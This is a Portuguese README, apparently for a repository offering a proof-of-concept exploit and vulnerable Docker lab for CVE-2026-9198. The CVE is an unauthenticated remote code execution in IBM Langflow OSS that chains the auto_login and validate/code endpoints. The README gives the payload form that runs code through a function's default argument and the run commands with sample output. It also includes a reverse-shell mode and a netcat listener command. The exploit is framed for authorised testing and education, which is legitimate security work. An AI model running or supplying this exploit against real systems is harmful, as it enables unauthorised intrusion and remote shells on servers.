Prova de conceito de exploit para CVE-2026-9198, uma RCE não autenticada no IBM Langflow OSS, encadeando os endpoints auto_login e validate/code. Inclui um laboratório Docker vulnerável para testes autorizados e educação.
Prova de conceito de exploit e um laboratório Docker autocontido para CVE-2026-9198, uma vulnerabilidade de execução remota de código não autenticada em IBM Langflow OSS.
O exploit encadeia dois endpoints — auto_login (que entrega um token SUPERUSER a
qualquer pessoa) e validate/code (que executa Python fornecido pelo atacante) — para obter
execução de código como o usuário do serviço Langflow, sem exigir credenciais.
[!WARNING] Apenas para testes de segurança autorizados e fins educacionais. Execute isto exclusivamente contra sistemas que você possui ou para os quais tem permissão escrita explícita para testar. O laboratório Docker neste repositório é deliberadamente vulnerável — mantenha-o na sua máquina e nunca o exponha à internet. Você é responsável pelo uso que fizer deste código.
| CVE | CVE-2026-9198 |
| Produto | IBM Langflow OSS |
| Afetado | 1.0.0 – 1.10.0 |
| Corrigido em | 1.10.1 |
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — Controle inadequado da geração de código ('Injeção de código') |
| CISA KEV | Sim — conhecido por ser explorado na natureza |
O exploit é uma cadeia de duas etapas que não exige autenticação:
GET /api/v1/auto_loginO Langflow vem com LANGFLOW_AUTO_LOGIN habilitado por padrão. Quando está habilitado, o
endpoint auto_login emite um JWT SUPERUSER de longa duração para qualquer chamador, sem
pedir credenciais:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeDesde a versão 1.3.0 este endpoint exige autenticação (essa foi a correção para
CVE-2025-3248) — mas o passo 1 acabou de nos entregar um token SUPERUSER válido, então a barreira é
inútil. Internamente o endpoint chama validate_code(), que compila e executa
toda definição de função que recebe:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- executa o def
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- a saída vaza de volta aqui
Executar uma instrução def avalia os valores dos seus argumentos padrão. Portanto, uma função
cujo argumento padrão é exec("...") executa código arbitrário no momento em que é
validada — a função nem sequer é chamada. Qualquer exceção levantada é capturada e
retornada na resposta sob function.errors, que o exploit usa para ler a
saída do comando de volta via HTTP.
Formato do payload (o comando é envolvido em base64 para sobreviver a qualquer aspas):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # o PoC (execução de comando + reverse shell)
├── docker-compose.yml # laboratório vulnerável: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
O Langflow leva um ou dois minutos para ficar pronto na primeira inicialização. Aguarde até que ele responda:
curl -fs http://127.0.0.1:9999/health && echo OK
O serviço está vinculado a 127.0.0.1:9999 de propósito — ele não é acessível a partir da sua
rede.
Instale a dependência e aponte o exploit para o laboratório.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
Exemplo de saída:
[*] alvo: http://127.0.0.1:9999
[*] passo 1: solicitando token SUPERUSER de /api/v1/auto_login
[+] token SUPERUSER obtido: eyJhbGciOiJIUzI1NiIs...
[*] passo 2: alcançando RCE através de /api/v1/validate/code
[*] executando comando via validate/code: 'id'
[+] saída do comando (retornada via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
Qualquer comando funciona: --cmd "uname -a && whoami && cat /etc/os-release".
Inicie um listener:
nc -lvnp 4444
Em seguida, dispare o payload. Quando o alvo roda em Docker na mesma máquina, o
contêiner alcança seu host em host.docker.internal (Docker Desktop); em um alvo
real, use seu IP roteável:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
Você obtém um /bin/sh interativo no seu listener como o usuário langflow.
| Flag | Descrição |
|---|---|
--url | URL base do alvo (obrigatório) |
--cmd | Comando a executar (padrão id) |
--reverse-shell | Entregar um reverse shell em vez de executar --cmd |
--lhost / --lport | Host e porta de retorno do reverse shell |
--token | Usar um token bearer fornecido e pular auto_login |
--timeout | Tempo limite por requisição, em segundos (padrão 15) |
--insecure | Pular verificação TLS (para alvos https) |
LANGFLOW_AUTO_LOGIN=false,
e defina credenciais reais de superusuário.validate/code na qual isto se baseia)